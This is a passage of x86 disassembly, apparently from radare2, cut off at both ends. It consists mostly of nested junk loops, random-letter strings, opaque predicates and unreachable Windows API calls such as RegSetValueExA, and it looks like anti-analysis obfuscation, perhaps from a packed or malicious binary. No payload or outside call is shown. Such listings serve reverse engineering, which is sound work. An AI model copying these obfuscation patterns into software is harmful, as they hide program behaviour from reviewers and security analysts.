and dword [ebp - 0xa8], 0
jmp 0x463d8f
mov eax, dword [ebp - 0xa8]
inc eax
mov dword [ebp - 0xa8], eax
cmp dword [ebp - 0xa8], 0x14b9
jge 0x463e15
and dword [ebp - 0xb0], 0
jmp 0x463db1
mov eax, dword [ebp - 0xb0]
inc eax
mov dword [ebp - 0xb0], eax
cmp dword [ebp - 0xb0], 0x3662
jge 0x463e10
mov eax, dword [ebp - 0xa0]
or eax, dword [ebp - 0xa8]
or eax, dword [ebp - 0xb0]
cdq
mov dword [ebp - 0x6cc], eax
mov dword [ebp - 0x6c8], edx
push dword [ebp - 0x6c8]
push dword [ebp - 0x6cc]
lea ecx, [ebp - 0x9a0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x9a0]
call fcn.00401711
jmp 0x463da4
jmp 0x463d82
jmp 0x463d5c
mov dword [ebp - 0x2a8], 0x86cae8ef
cmp dword [ebp - 0x49c], 0xffffffc5
jge 0x463e39
push dword [ebp - 0x608]
call fcn.004f1488
pop ecx
mov byte [ebp - 0x42], 0
movzx eax, byte [ebp - 0x42]
test eax, eax
je 0x463e4d
push 0
call dword [sym.imp.USER32.dll_SetFocus]
mov dword [ebp - 0x2c0], 0x3789
mov dword [ebp - 0x788], str.aetehw_wknec_qbodujd_tpt_rtccmwy_uqewaoi_btahhja
cmp dword [ebp - 0x2c0], 0x3a1d
jle 0x463f40
and dword [ebp - 0xc8], 0
jmp 0x463e87
mov eax, dword [ebp - 0xc8]
inc eax
mov dword [ebp - 0xc8], eax
cmp dword [ebp - 0xc8], 0x31b1
jge 0x463f3a
and dword [ebp - 0xb8], 0
jmp 0x463ead
mov eax, dword [ebp - 0xb8]
inc eax
mov dword [ebp - 0xb8], eax
cmp dword [ebp - 0xb8], 0x49bb
jge 0x463f35
and dword [ebp - 0xc0], 0
jmp 0x463ecf
mov eax, dword [ebp - 0xc0]
inc eax
mov dword [ebp - 0xc0], eax
cmp dword [ebp - 0xc0], 0x2b2b
jge 0x463f30
mov eax, dword [ebp - 0xb8]
mov ecx, dword [ebp - 0xc0]
shl eax, cl
xor eax, dword [ebp - 0xc8]
cdq
mov dword [ebp - 0x6d8], eax
mov dword [ebp - 0x6d4], edx
push dword [ebp - 0x6d4]
push dword [ebp - 0x6d8]
lea ecx, [ebp - 0x9d0]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0x9d0]
call fcn.00401711
jmp 0x463ec2
jmp 0x463ea0
jmp 0x463e7a
call dword [sym.imp.KERNEL32.dll_TlsAlloc]
cmp dword [ebp - 0x29c], 0x498b
jge 0x463fa2
cmp dword [ebp - 0x2c], 0
jne 0x463f61
cmp dword [ebp - 0x4c], 0
jne 0x463f61
and dword [ebp - 0x3f4], 0
jmp 0x463f6b
mov dword [ebp - 0x3f4], 1
mov eax, dword [ebp - 0x29c]
cmp dword [ebp - 0x3f4], eax
jl 0x463f85
mov dword [ebp - 0x4f4], 1
jmp 0x463f8c
and dword [ebp - 0x4f4], 0
xor eax, eax
inc eax
sub eax, dword [ebp - 0x4f4]
mov dword [ebp - 0x2a8], eax
cmp dword [ebp - 0x2a8], 0
cmp dword [ebp - 0x2c], 5
jl 0x463fb4
mov dword [ebp - 0x2b0], 1
jmp 0x463fbb
and dword [ebp - 0x2b0], 0
mov eax, dword [ebp - 0x2b0]
sub eax, 0x33d2afdd
cmp eax, dword [ebp - 0x29c]
jge 0x463fda
mov dword [ebp - 0x2a4], 1
jmp 0x463fe1
and dword [ebp - 0x2a4], 0
mov eax, dword [ebp - 0x2a4]
mov dword [ebp - 0x4c], eax
cmp dword [ebp - 0x2c0], 0x35a9
jge 0x464002
push dword [ebp - 0x788]
call fcn.004f1488
pop ecx
jmp 0x464419
mov dword [ebp - 0x28], 4
mov dword [ebp - 0x2c8], 0x7f5e
mov dword [ebp - 0x614], str.rqdjdf_apsjyuox_ytmvjb
cmp dword [ebp - 0x2c8], 0x80f3
jle 0x4640e4
and dword [ebp - 0xd0], 0
jmp 0x464048
mov eax, dword [ebp - 0xd0]
inc eax
mov dword [ebp - 0xd0], eax
cmp dword [ebp - 0xd0], 0x15cd
jge 0x4640dc
and dword [ebp - 0xd8], 0
jmp 0x46406e
mov eax, dword [ebp - 0xd8]
inc eax
mov dword [ebp - 0xd8], eax
cmp dword [ebp - 0xd8], 0x5da8
jge 0x4640d7
and dword [ebp - 0xe0], 0
jmp 0x464090
mov eax, dword [ebp - 0xe0]
inc eax
mov dword [ebp - 0xe0], eax
cmp dword [ebp - 0xe0], 0xf45
jge 0x4640d5
mov eax, dword [ebp - 0xd0]
sub eax, dword [ebp - 0xd8]
mov ecx, dword [ebp - 0xe0]
shl eax, cl
cdq
mov dword [ebp - 0x6e4], eax
mov dword [ebp - 0x6e0], edx
push dword [ebp - 0x6e0]
push dword [ebp - 0x6e4]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x464083
jmp 0x464061
jmp 0x46403b
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x6dc], 0x6d2926a0
cmp dword [ebp - 0x2c8], 0x7d8f
jge 0x46410a
mov edx, dword [ebp - 0x614]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x2e8], 0xffffffff
mov dword [ebp - 0x62c], 0x7f748928
mov dword [ebp - 0x348], 0x3ac8
mov dword [ebp - 0x6e8], str.cccenxq_ieassjni_nwrcsp_xwflaen_lnlbhg_vlhi_terclfh_xiwnrjr_qqse
cmp dword [ebp - 0x348], 0x3b65
jle 0x4641c7
push 0
push 0
push 0
push 0
call dword [sym.imp.USER32.dll_SetScrollInfo]
and dword [ebp - 0xe8], 0
jmp 0x464166
mov eax, dword [ebp - 0xe8]
inc eax
mov dword [ebp - 0xe8], eax
cmp dword [ebp - 0xe8], 0x738f
jge 0x4641c7
and dword [ebp - 0xf0], 0
jmp 0x464188
mov eax, dword [ebp - 0xf0]
inc eax
mov dword [ebp - 0xf0], eax
cmp dword [ebp - 0xf0], 0x7953
jge 0x4641c5
mov eax, dword [ebp - 0xe8]
and eax, dword [ebp - 0xf0]
cdq
mov dword [ebp - 0x6f0], eax
mov dword [ebp - 0x6ec], edx
push dword [ebp - 0x6ec]
push dword [ebp - 0x6f0]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x46417b
jmp 0x464159
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x864], eax
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x7fc], eax
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x2c], eax
jl 0x4641ed
mov dword [ebp - 0x2d0], 1
jmp 0x4641f4
and dword [ebp - 0x2d0], 0
mov eax, dword [ebp - 0x2c]
cmp eax, dword [ebp - 0x2d0]
jg 0x46420b
mov dword [ebp - 0x2d8], 1
jmp 0x464212
and dword [ebp - 0x2d8], 0
mov eax, dword [ebp - 0x2d8]
mov dword [ebp - 0x6dc], eax
cmp dword [ebp - 0x28], 0xfff8
je 0x464233
mov dword [ebp - 0x620], 1
jmp 0x46423a
and dword [ebp - 0x620], 0
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0x86c], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x80c], eax
mov eax, dword [ebp - 0x28]
mov dword [ebp - 0x73c], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x73c]
mov dword [ebp + eax - 0x824], ecx
mov eax, dword [ebp - 0x48]
mov dword [ebp - 0x874], eax
cmp dword [ebp - 0x4c], 0
jae 0x464283
mov dword [ebp - 0x2e0], 1
jmp 0x46428a
and dword [ebp - 0x2e0], 0
mov eax, dword [ebp - 0x2e0]
mov dword [ebp - 0x2e8], eax
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x2e8], eax
jge 0x4642ad
mov dword [ebp - 0x2f0], 1
jmp 0x4642b4
and dword [ebp - 0x2f0], 0
cmp dword [ebp - 0x2f0], 0xb758c9e4
jae 0x4642cc
mov dword [ebp - 0x2f8], 1
jmp 0x4642d3
and dword [ebp - 0x2f8], 0
cmp dword [ebp - 0x2f8], 0x97a2
jl 0x4642eb
mov dword [ebp - 0x300], 1
jmp 0x4642f2
and dword [ebp - 0x300], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x300], eax
jge 0x464309
mov dword [ebp - 0x308], 1
jmp 0x464310
and dword [ebp - 0x308], 0
mov eax, dword [ebp - 0x28]
cmp dword [ebp - 0x308], eax
jl 0x464327
mov dword [ebp - 0x310], 1
jmp 0x46432e
and dword [ebp - 0x310], 0
mov eax, dword [ebp - 0x2c]
cmp dword [ebp - 0x310], eax
je 0x464345
mov dword [ebp - 0x318], 1
jmp 0x46434c
and dword [ebp - 0x318], 0
mov eax, dword [ebp - 0x284]
cmp dword [ebp - 0x318], eax
jle 0x464366
mov dword [ebp - 0x320], 1
jmp 0x46436d
and dword [ebp - 0x320], 0
mov eax, dword [ebp - 0x284]
cmp dword [ebp - 0x320], eax
jl 0x464387
mov dword [ebp - 0x328], 1
jmp 0x46438e
and dword [ebp - 0x328], 0
cmp dword [ebp - 0x328], 0xe47cee57
jne 0x4643a6
mov dword [ebp - 0x330], 1
jmp 0x4643ad
and dword [ebp - 0x330], 0
mov eax, dword [ebp - 0x28]
add eax, dword [ebp - 0x330]
cmp eax, dword [ebp - 0x284]
jne 0x4643ca
mov dword [ebp - 0x338], 1
jmp 0x4643d1
and dword [ebp - 0x338], 0
cmp dword [ebp - 0x338], 0xffffffff
jle 0x4643ea
xor eax, eax
je 0x4643ea
mov dword [ebp - 0x340], 1
jmp 0x4643f1
and dword [ebp - 0x340], 0
mov eax, dword [ebp - 0x340]
mov dword [ebp - 0x62c], eax
cmp dword [ebp - 0x348], 0x3a7b
jge 0x464419
mov edx, dword [ebp - 0x6e8]
mov ecx, 0xac7538
call fcn.0041c2dd
push 4
pop eax
imul eax, eax, 0
push 4
pop ecx
imul ecx, ecx, 0
mov edx, dword [ebp - 0x294]
mov edx, dword [edx + eax]
mov eax, dword [ebp - 0x350]
mov ecx, dword [eax + ecx]
call fcn.004615cc
mov dword [ebp - 0x748], eax
mov dword [ebp - 0x358], 0x6cfc
mov dword [ebp - 0x638], str.ajnagj_mdllqi_bbgpaayo_jkfyigd_mli_vigssryh_iohcj_jtftwoiuw_yffqadabm
cmp dword [ebp - 0x358], 0x6e96
jle 0x46450f
and dword [ebp - 0xf8], 0
jmp 0x46447c
mov eax, dword [ebp - 0xf8]
inc eax
mov dword [ebp - 0xf8], eax
cmp dword [ebp - 0xf8], 0x926
jge 0x46450f
and dword [ebp - 0x100], 0
jmp 0x4644a2
mov eax, dword [ebp - 0x100]
inc eax
mov dword [ebp - 0x100], eax
cmp dword [ebp - 0x100], 0x4ae3
jge 0x46450a
and dword [ebp - 0x108], 0
jmp 0x4644c4
mov eax, dword [ebp - 0x108]
inc eax
mov dword [ebp - 0x108], eax
cmp dword [ebp - 0x108], 0x38dd
jge 0x464508
mov eax, dword [ebp - 0xf8]
imul eax, dword [ebp - 0x100]
sub eax, dword [ebp - 0x108]
cdq
mov dword [ebp - 0x6fc], eax
mov dword [ebp - 0x6f8], edx
push dword [ebp - 0x6f8]
push dword [ebp - 0x6fc]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4644b7
jmp 0x464495
jmp 0x46446f
mov dword [ebp - 0x110], 0x571177e8
cmp dword [ebp - 0x358], 0x6966
jge 0x464535
mov edx, dword [ebp - 0x638]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x40], 0x468a07c6
mov dword [ebp - 0x20], 0
jmp 0x46454c
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 3
jge 0x464562
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x248], 0x1dbeccce
jmp 0x464545
mov dword [ebp - 0x20], 0
jmp 0x464572
mov eax, dword [ebp - 0x20]
inc eax
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 4
jge 0x464588
mov eax, dword [ebp - 0x20]
mov dword [ebp + eax*4 - 0x7d8], 0
jmp 0x46456b
mov dword [ebp - 0x110], 0xb
jmp 0x4645a1
mov eax, dword [ebp - 0x110]
dec eax
mov dword [ebp - 0x110], eax
cmp dword [ebp - 0x110], 0xffffffe5
jg 0x464c26
mov dword [ebp - 4], 0xd4351cdc
mov dword [ebp - 0x3b0], 0x4902820a
mov dword [ebp - 0x6f4], 0x41183d96
mov dword [ebp - 0x428], 0x1fc8
mov dword [ebp - 0x650], str.xmokvcxjf_eblnhckq_qpcd_yxq_bbymmi_nfhofs_ftum_bkehfw_ehba
cmp dword [ebp - 0x428], 0x2064
jle 0x4646f2
and dword [ebp - 0x118], 0
jmp 0x464603
mov eax, dword [ebp - 0x118]
inc eax
mov dword [ebp - 0x118], eax
cmp dword [ebp - 0x118], 0x490
jge 0x4646f2
and dword [ebp - 0x120], 0
jmp 0x464629
mov eax, dword [ebp - 0x120]
inc eax
mov dword [ebp - 0x120], eax
cmp dword [ebp - 0x120], 0x513
jge 0x4646ed
and dword [ebp - 0x128], 0
jmp 0x46464f
mov eax, dword [ebp - 0x128]
inc eax
mov dword [ebp - 0x128], eax
cmp dword [ebp - 0x128], 0x694b
jge 0x4646e8
and dword [ebp - 0x130], 0
jmp 0x464675
mov eax, dword [ebp - 0x130]
inc eax
mov dword [ebp - 0x130], eax
cmp dword [ebp - 0x130], 0x478e
jge 0x4646e3
mov esi, dword [ebp - 0x118]
mov ecx, dword [ebp - 0x120]
shl esi, cl
mov eax, dword [ebp - 0x128]
cdq
idiv dword [ebp - 0x130]
mov ecx, edx
shl esi, cl
mov eax, esi
cdq
mov dword [ebp - 0x708], eax
mov dword [ebp - 0x704], edx
push dword [ebp - 0x704]
push dword [ebp - 0x708]
lea ecx, [ebp - 0xa00]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0xa00]
call fcn.00401711
jmp 0x464668
jmp 0x464642
jmp 0x46461c
jmp 0x4645f6
mov dword [ebp - 4], 0
jmp 0x464702
mov eax, dword [ebp - 4]
inc eax
mov dword [ebp - 4], eax
cmp dword [ebp - 4], 2
jg 0x464c09
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x248]
mov dword [ebp + ecx*4 - 0x248], eax
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x248]
mov dword [ebp - 0x81c], eax
mov eax, 0xc57e71f0
test eax, eax
jne 0x464754
mov dword [ebp - 0x40], 0xffff
xor eax, eax
inc eax
sub eax, dword [ebp - 0x40]
jne 0x464754
and dword [ebp - 0x378], 0
jmp 0x46475e
mov dword [ebp - 0x378], 1
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 4]
cmp dword [ebp + eax - 0x248], ecx
jl 0x46477c
mov dword [ebp - 0x360], 1
jmp 0x464783
and dword [ebp - 0x360], 0
mov eax, dword [ebp - 0x360]
add eax, dword [ebp - 4]
mov dword [ebp - 0x368], eax
push 4
pop eax
shl eax, 1
mov ecx, dword [ebp - 0x368]
mov dword [ebp + eax - 0x7d8], ecx
mov eax, dword [ebp - 4]
mov ecx, dword [ebp - 0x368]
sub ecx, dword [ebp + eax*4 - 0x248]
cmp ecx, dword [ebp - 4]
jge 0x4647c5
mov dword [ebp - 0x370], 1
jmp 0x4647cc
and dword [ebp - 0x370], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x248]
cmp dword [ebp - 0x370], eax
jge 0x4647ea
mov dword [ebp - 0x380], 1
jmp 0x4647f1
and dword [ebp - 0x380], 0
mov eax, dword [ebp - 0x378]
cmp eax, dword [ebp - 0x380]
jne 0x46480b
mov dword [ebp - 0x388], 1
jmp 0x464812
and dword [ebp - 0x388], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x248]
cmp dword [ebp - 0x388], eax
jne 0x464833
mov dword [ebp - 0x390], 1
jmp 0x46483a
and dword [ebp - 0x390], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x248]
cmp dword [ebp - 0x390], eax
jne 0x464858
mov dword [ebp - 0x398], 1
jmp 0x46485f
and dword [ebp - 0x398], 0
mov eax, dword [ebp - 4]
imul eax, dword [ebp - 0x398]
mov ecx, dword [ebp - 4]
cmp eax, dword [ebp + ecx*4 - 0x248]
jle 0x464881
mov dword [ebp - 0x3a0], 1
jmp 0x464888
and dword [ebp - 0x3a0], 0
cmp dword [ebp - 0x3a0], 0x3e8f
jle 0x4648d7
mov dword [ebp - 0x40], 0
jmp 0x4648a4
mov eax, dword [ebp - 0x40]
dec eax
mov dword [ebp - 0x40], eax
cmp dword [ebp - 0x40], 0xfffffff1
jl 0x4648d2
mov byte [ebp - 0x43], 0
movzx eax, byte [ebp - 0x43]
test eax, eax
je 0x4648c8
push 0
push 0
push 0
push 0
push 0
push 0
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
cmp dword [ebp - 4], 0
je 0x4648d0
jmp 0x46489d
jmp 0x46489d
jmp 0x464c04
mov dword [ebp - 0x3a8], 0x3617
mov dword [ebp - 0x76c], str.bnoxblx_yrpovfc_yaaigmt_ygsfsxphh_pcmau_ycl
cmp dword [ebp - 0x3a8], 0x3749
jle 0x4649c2
and dword [ebp - 0x148], 0
jmp 0x464911
mov eax, dword [ebp - 0x148]
inc eax
mov dword [ebp - 0x148], eax
cmp dword [ebp - 0x148], 0x2e58
jge 0x4649c2
and dword [ebp - 0x138], 0
jmp 0x464937
mov eax, dword [ebp - 0x138]
inc eax
mov dword [ebp - 0x138], eax
cmp dword [ebp - 0x138], 0x4575
jge 0x4649bd
and dword [ebp - 0x140], 0
jmp 0x464959
mov eax, dword [ebp - 0x140]
inc eax
mov dword [ebp - 0x140], eax
cmp dword [ebp - 0x140], 0x352d
jge 0x4649b8
mov eax, dword [ebp - 0x138]
add eax, dword [ebp - 0x140]
and eax, dword [ebp - 0x148]
cdq
mov dword [ebp - 0x714], eax
mov dword [ebp - 0x710], edx
push dword [ebp - 0x710]
push dword [ebp - 0x714]
lea ecx, [ebp - 0xa30]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0xa30]
call fcn.00401711
jmp 0x46494c
jmp 0x46492a
jmp 0x464904
mov dword [ebp - 0x408], 9
cmp dword [ebp - 0x3a8], 0x342d
jge 0x4649e4
push dword [ebp - 0x76c]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x644], 0xffffffff
mov eax, dword [ebp - 4]
mov dword [ebp - 0x7dc], eax
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x248]
mov dword [ebp - 0x3b0], eax
cmp dword [ebp - 0x3b0], 0
jne 0x464a1c
mov dword [ebp - 0x3b8], 1
jmp 0x464a23
and dword [ebp - 0x3b8], 0
cmp dword [ebp - 0x3b8], 0x22f0f5b8
jle 0x464a3b
mov dword [ebp - 0x3c0], 1
jmp 0x464a42
and dword [ebp - 0x3c0], 0
cmp dword [ebp - 0x3c0], 0xffff
jbe 0x464a5c
or eax, 0xffffffff
jne 0x464a5c
and dword [ebp - 0x3c8], 0
jmp 0x464a66
mov dword [ebp - 0x3c8], 1
cmp dword [ebp - 0x3c8], 0xffff
ja 0x464a8b
push 4
pop eax
imul eax, eax, 3
cmp dword [ebp + eax - 0x7d8], 0
jne 0x464a8b
and dword [ebp - 0x3d0], 0
jmp 0x464a95
mov dword [ebp - 0x3d0], 1
mov eax, dword [ebp - 0x40]
cmp dword [ebp - 0x3d0], eax
je 0x464aac
mov dword [ebp - 0x3d8], 1
jmp 0x464ab3
and dword [ebp - 0x3d8], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x248]
cmp dword [ebp - 0x3d8], eax
jne 0x464ad3
mov dword [ebp - 0x3e0], 1
jmp 0x464ada
and dword [ebp - 0x3e0], 0
push 4
pop eax
shl eax, 1
mov eax, dword [ebp + eax - 0x7d8]
cmp eax, dword [ebp - 0x3e0]
jne 0x464afa
mov dword [ebp - 0x3e8], 1
jmp 0x464b01
and dword [ebp - 0x3e8], 0
mov eax, dword [ebp - 4]
cmp dword [ebp - 0x3e8], eax
jl 0x464b18
mov dword [ebp - 0x3f0], 1
jmp 0x464b1f
and dword [ebp - 0x3f0], 0
mov eax, dword [ebp - 0x3f0]
add eax, 0x30167c2c
cmp eax, 0xfffb
jbe 0x464b3d
mov dword [ebp - 0x3f8], 1
jmp 0x464b44
and dword [ebp - 0x3f8], 0
mov eax, dword [ebp - 0x3f8]
inc eax
cmp eax, dword [ebp - 0x408]
jl 0x464b5f
mov dword [ebp - 0x400], 1
jmp 0x464b66
and dword [ebp - 0x400], 0
cmp dword [ebp - 0x400], 0x4f7a
jle 0x464b7e
mov dword [ebp - 0x410], 1
jmp 0x464b85
and dword [ebp - 0x410], 0
mov eax, dword [ebp - 0x408]
cmp dword [ebp - 0x410], eax
jg 0x464b9f
mov dword [ebp - 0x418], 1
jmp 0x464ba6
and dword [ebp - 0x418], 0
mov eax, dword [ebp - 4]
mov eax, dword [ebp + eax*4 - 0x248]
imul eax, dword [ebp - 0x418]
mov ecx, dword [ebp - 4]
cmp eax, dword [ebp + ecx*4 - 0x248]
jle 0x464bd8
cmp dword [ebp - 0x644], 0
je 0x464bd8
mov dword [ebp - 0x420], 1
jmp 0x464bdf
and dword [ebp - 0x420], 0
mov eax, dword [ebp - 0x420]
mov dword [ebp - 0x6f4], eax
push 4
pop eax
shl eax, 0
push 4
pop ecx
shl ecx, 1
mov eax, dword [ebp + eax - 0x248]
mov dword [ebp + ecx - 0x7d8], eax
jmp 0x4646fb
cmp dword [ebp - 0x428], 0x1c3e
jge 0x464c21
push dword [ebp - 0x650]
call fcn.004f1488
pop ecx
jmp 0x464594
push dword [ebp - 0x294]
mov edx, 0xaae564
mov ecx, dword [ebp - 0x748]
call fcn.0046164c
pop ecx
mov dword [ebp - 0x430], 0x5e1e
mov dword [ebp - 0x65c], str.dadr_krcrqxdvl_nymx_vfmhakx
cmp dword [ebp - 0x430], 0x5fd2
jle 0x464d5f
and dword [ebp - 0x150], 0
jmp 0x464c77
mov eax, dword [ebp - 0x150]
inc eax
mov dword [ebp - 0x150], eax
cmp dword [ebp - 0x150], 0x20c
jge 0x464d5f
and dword [ebp - 0x158], 0
jmp 0x464c9d
mov eax, dword [ebp - 0x158]
inc eax
mov dword [ebp - 0x158], eax
cmp dword [ebp - 0x158], 0x676b
jge 0x464d5a
and dword [ebp - 0x160], 0
jmp 0x464cc3
mov eax, dword [ebp - 0x160]
inc eax
mov dword [ebp - 0x160], eax
cmp dword [ebp - 0x160], 0x1dfb
jge 0x464d55
and dword [ebp - 0x168], 0
jmp 0x464ce9
mov eax, dword [ebp - 0x168]
inc eax
mov dword [ebp - 0x168], eax
cmp dword [ebp - 0x168], 0x51ed
jge 0x464d50
mov eax, dword [ebp - 0x150]
xor eax, dword [ebp - 0x158]
mov ecx, dword [ebp - 0x160]
add ecx, dword [ebp - 0x168]
xor eax, ecx
cdq
mov dword [ebp - 0x720], eax
mov dword [ebp - 0x71c], edx
push dword [ebp - 0x71c]
push dword [ebp - 0x720]
lea ecx, [ebp - 0xa60]
call fcn.00402594
pop ecx
pop ecx
mov ecx, eax
call fcn.0041722f
push eax
call fcn.004f1488
pop ecx
lea ecx, [ebp - 0xa60]
call fcn.00401711
jmp 0x464cdc
jmp 0x464cb6
jmp 0x464c90
jmp 0x464c6a
mov dword [ebp - 0x50], 0xffff
cmp dword [ebp - 0x430], 0x5cc9
jge 0x464d7e
push dword [ebp - 0x65c]
call fcn.004f1488
pop ecx
mov dword [ebp - 0x34], 0x38591b6
mov dword [ebp - 0x288], 0xfda7
mov dword [ebp - 0x68], 1
mov dword [ebp - 0x38], 0xfffffffc
mov dword [ebp - 0x28c], 1
mov dword [ebp - 0x278], 0x8f49235
mov dword [ebp - 0x170], 0
jmp 0x464dca
mov eax, dword [ebp - 0x170]
inc eax
mov dword [ebp - 0x170], eax
cmp dword [ebp - 0x170], 4
jge 0x464de6
mov eax, dword [ebp - 0x170]
mov dword [ebp + eax*4 - 0x79c], 0
jmp 0x464dbd
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x884], eax
mov eax, dword [ebp - 0x28c]
mov ecx, dword [ebp - 0x28c]
inc ecx
mov dword [ebp - 0x28c], ecx
test eax, eax
je 0x464f7a
mov dword [ebp - 0x68], 0
cmp dword [ebp - 0x68], 0
je 0x464f18
cmp dword [ebp - 0x50], 0xffff
jae 0x464e30
mov dword [ebp - 0x438], 1
jmp 0x464e37
and dword [ebp - 0x438], 0
imul eax, dword [ebp - 0x438], 0x9c30
cmp eax, 0x83eb
jg 0x464e54
mov dword [ebp - 0x440], 1
jmp 0x464e5b
and dword [ebp - 0x440], 0
cmp dword [ebp - 0x440], 0xffffffff
jg 0x464e70
mov dword [ebp - 0x448], 1
jmp 0x464e77
and dword [ebp - 0x448], 0
mov eax, dword [ebp - 0x50]
cmp dword [ebp - 0x448], eax
jle 0x464e8e
mov dword [ebp - 0x450], 1
jmp 0x464e95
and dword [ebp - 0x450], 0
mov eax, dword [ebp - 0x450]
dec eax
je 0x464eb0
cmp dword [ebp - 0x278], 0
jne 0x464eb0
and dword [ebp - 0x458], 0
jmp 0x464eba
mov dword [ebp - 0x458], 1
cmp dword [ebp - 0x458], 0x4279
je 0x464ed2
mov dword [ebp - 0x460], 1
jmp 0x464ed9
and dword [ebp - 0x460], 0
mov eax, dword [ebp - 0x34]
cmp dword [ebp - 0x460], eax
jne 0x464ef0
mov dword [ebp - 0x468], 1
jmp 0x464ef7
and dword [ebp - 0x468], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0x468]
sub ecx, dword [ebp + eax - 0x79c]
je 0x464f18
mov dword [ebp - 0x470], 1
jmp 0x464f1f
and dword [ebp - 0x470], 0
mov eax, dword [ebp - 0x278]
cmp dword [ebp - 0x470], eax
jne 0x464f3f
cmp dword [ebp - 0x34], 0
je 0x464f3f
mov dword [ebp - 0x478], 1
jmp 0x464f46
and dword [ebp - 0x478], 0
cmp dword [ebp - 0x478], 0x4fe10ef7
je 0x464f5e
mov dword [ebp - 0x480], 1
jmp 0x464f65
and dword [ebp - 0x480], 0
mov eax, dword [ebp - 0x480]
dec eax
je 0x464f7a
mov dword [ebp - 0x488], 1
jmp 0x464f81
and dword [ebp - 0x488], 0
mov eax, dword [ebp - 0x278]
cmp dword [ebp - 0x488], eax
jle 0x464f9b
mov dword [ebp - 0x490], 1
jmp 0x464fa2
and dword [ebp - 0x490], 0
cmp dword [ebp - 0x490], 0xfff8
jbe 0x464fba
mov dword [ebp - 0x498], 1
jmp 0x464fc1
and dword [ebp - 0x498], 0
mov eax, dword [ebp - 0x50]
cmp eax, dword [ebp - 0x498]
jl 0x464fd8
mov dword [ebp - 0x280], 1
jmp 0x464fdf
and dword [ebp - 0x280], 0
push 4
pop eax
imul eax, eax, 3
mov ecx, dword [ebp - 0x280]
mov dword [ebp + eax - 0x79c], ecx
cmp dword [ebp - 0x280], 0
jne 0x46500d
cmp dword [ebp - 0x288], 0
jne 0x46500d
and dword [ebp - 0x4a0], 0
jmp 0x465017
mov dword [ebp - 0x4a0], 1
imul eax, dword [ebp - 0x4a0], 0xfffffff7
cmp eax, dword [ebp - 0x38]
jle 0x46502f
mov dword [ebp - 0x4a8], 1
jmp 0x465036
and dword [ebp - 0x4a8], 0
mov eax, dword [ebp - 0x4a8]
sub eax, dword [ebp - 0x288]
mov dword [ebp - 0x38], eax
mov eax, dword [ebp - 0x38]
mov dword [ebp - 0x34], eax
mov dword [ebp - 0x34], 0xfffffffa
jmp 0x46505b
mov eax, dword [ebp - 0x34]
dec eax
mov dword [ebp - 0x34], eax
cmp dword [ebp - 0x34], 0xfffffff1
jge 0x465986
mov dword [ebp - 0x4b0], 0xed8
mov dword [ebp - 0x700], str.jbdo_jhe_ndx_wydjgut_lcryoo_jnn_mns
cmp dword [ebp - 0x4b0], 0x1131
jle 0x465133
and dword [ebp - 0x178], 0
jmp 0x46509f
mov eax, dword [ebp - 0x178]
inc eax
mov dword [ebp - 0x178], eax
cmp dword [ebp - 0x178], 0x393d
jge 0x465133
and dword [ebp - 0x180], 0
jmp 0x4650c5
mov eax, dword [ebp - 0x180]
inc eax
mov dword [ebp - 0x180], eax
cmp dword [ebp - 0x180], 0x1de8
jge 0x46512e
and dword [ebp - 0x188], 0
jmp 0x4650e7
mov eax, dword [ebp - 0x188]
inc eax
mov dword [ebp - 0x188], eax
cmp dword [ebp - 0x188], 0xc5d
jge 0x46512c
mov eax, dword [ebp - 0x178]
add eax, dword [ebp - 0x180]
mov ecx, dword [ebp - 0x188]
shl eax, cl
cdq
mov dword [ebp - 0x72c], eax
mov dword [ebp - 0x728], edx
push dword [ebp - 0x728]
push dword [ebp - 0x72c]
mov ecx, 0xac7538
call fcn.004178b5
jmp 0x4650da
jmp 0x4650b8
jmp 0x465092
mov dword [ebp - 0x4e8], 1
cmp dword [ebp - 0x4b0], 0xb56
jge 0x465159
mov edx, dword [ebp - 0x700]
mov ecx, 0xac7538
call fcn.0041c2dd
mov dword [ebp - 0x18], 0xb8fba323
mov dword [ebp - 0x4b8], 0x39ad
mov dword [ebp - 0x558], str.xdujl_pkbjg_txupcs_jgdljibcm
cmp dword [ebp - 0x4b8], 0x3a53
